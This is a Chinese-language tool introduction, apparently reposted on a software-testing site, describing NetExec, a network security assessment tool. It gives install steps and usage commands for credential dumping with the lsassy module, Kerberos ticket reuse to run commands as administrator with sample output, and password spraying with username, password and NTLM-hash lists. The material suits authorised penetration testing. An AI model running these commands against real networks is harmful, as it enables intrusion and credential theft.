NetExec:一款功能强大的自动化网络安全评估与漏洞测试工具

发表于:2024-2-01 09:23

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:Alpha_h4ck    来源:FreeBuf

  关于NetExec
  NetExec是一款功能强大的自动化网络安全评估与漏洞测试工具,该工具可以帮助广大研究人员以自动化的形式测试大型网络的安全,并通过利用网络服务漏洞来评估目标网络的安全态势。
  支持的协议
  1、SMB协议
  2、LDAP协议
  3、WinRM协议
  4、MSSQL协议
  5、SSH协议
  6、FTP协议
  7、RDP协议
  8、WMI协议
  工具安装
  Unix安装
  广大研究人员可以使用pipx系统全局安装:
  apt install pipx git
  pipx ensurepath
  pipx install git+https://github.com/Pennyw0rth/NetExec
  然后直接运行即可:
  NetExec
  nxcdb
  我们还可以使用Poetry来安装:
  apt-get install -y libssl-dev libffi-dev python-dev-is-python3 build-essential
  git clone https://github.com/Pennyw0rth/NetExec
  cd NetExec
  poetry install
  poetry run NetExec
  或者使用pip安装:
  apt install python3 python3-pip
  git clone https://github.com/Pennyw0rth/NetExec
  cd NetExec
  python3 -m venv .
  source bin/activate
  pip install .
  NetExec
  Windows安装
  如果你是Windows用户的话,可以直接访问该项目的【Releases页面】下载最新版本的NetExec预编译版本,解压后直接在命令行窗口中运行即可使用。
  工具使用
  工具命令参数
  #~ nxc --help
  usage: nxc [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--no-progress] [--verbose] [--debug] [--version] {smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql} ...
   
      <-- Banner -->   
   
  options:
    -h, --help               显示工具帮助信息和退出
    -t THREADS            设置并行线程数量(默认:100)
    --timeout TIMEOUT     设置每个线程的超时时间(默认:None)
    --jitter INTERVAL       设置每次连接的随机时间间隔(默认:None)
    --no-progress          在扫描过程中不显示进度条
    --verbose              启用Verbose模式
    --debug               启用调试模式
    --version              显示工具版本信息
   
  protocols:
    available protocols
   
    {smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql}
      smb                 使用SMB协议
      ssh                 使用SSH协议
      ldap                使用LDAP协议
      ftp                 使用FTP协议
      wmi                 使用WMI协议
      winrm               使用WINRM协议
      rdp                 使用RDP协议
      vnc                 使用VNC协议
      mssql               使用MSSQL协议
  模块使用
  查看可用模块:
  nxc smb -L
  使用一个模块:
  nxc smb <target(s)> -u Administrator -p 'October2022' -M lsassy
  查看模块选项:
  nxc smb -M lsassy --options
  使用模块选项:
  nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M lsassy -o COMMAND=xxxxxxxxug'
  Kerberos使用
  $ sudo nxc smb zoro.gold.local -k -u bonclay -p Ocotober2022
  SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
  SMB         zoro.gold.local 445    ZORO             [+] gold.local\bonclay
  或使用--use-kcache:
  $ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
  $ nxc smb zoro.gold.local --use-kcache
  SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
  SMB         zoro.gold.local 445    ZORO             [+] gold.local\administrator (Pwn3d!)
  $ sudo nxc smb zoro.gold.local --use-kcache -x whoami
  SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
  SMB         zoro.gold.local 445    ZORO             [+] gold.local\administrator (Pwn3d!)
  SMB         zoro.gold.local 445    ZORO             [+] Executed command
  SMB         zoro.gold.local 445    ZORO             gold\administrator
   
  $ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
  $ sudo nxc smb zoro.gold.local --use-kcache -x whoami
  SMB         zoro.gold.local 445    ZORO             [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
  SMB         zoro.gold.local 445    ZORO             [+] gold.local\bonclay
  爆破&密码喷射
  netexec <protocol> <target(s)> -u username1 -p password1 password2
  netexec <protocol> <target(s)> -u username1 username2 -p password1
  netexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
  netexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes
  netexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce
  netexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce
  许可证协议
  本项目的开发与发布遵循BSD-2-Clause开源许可证协议。
  本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号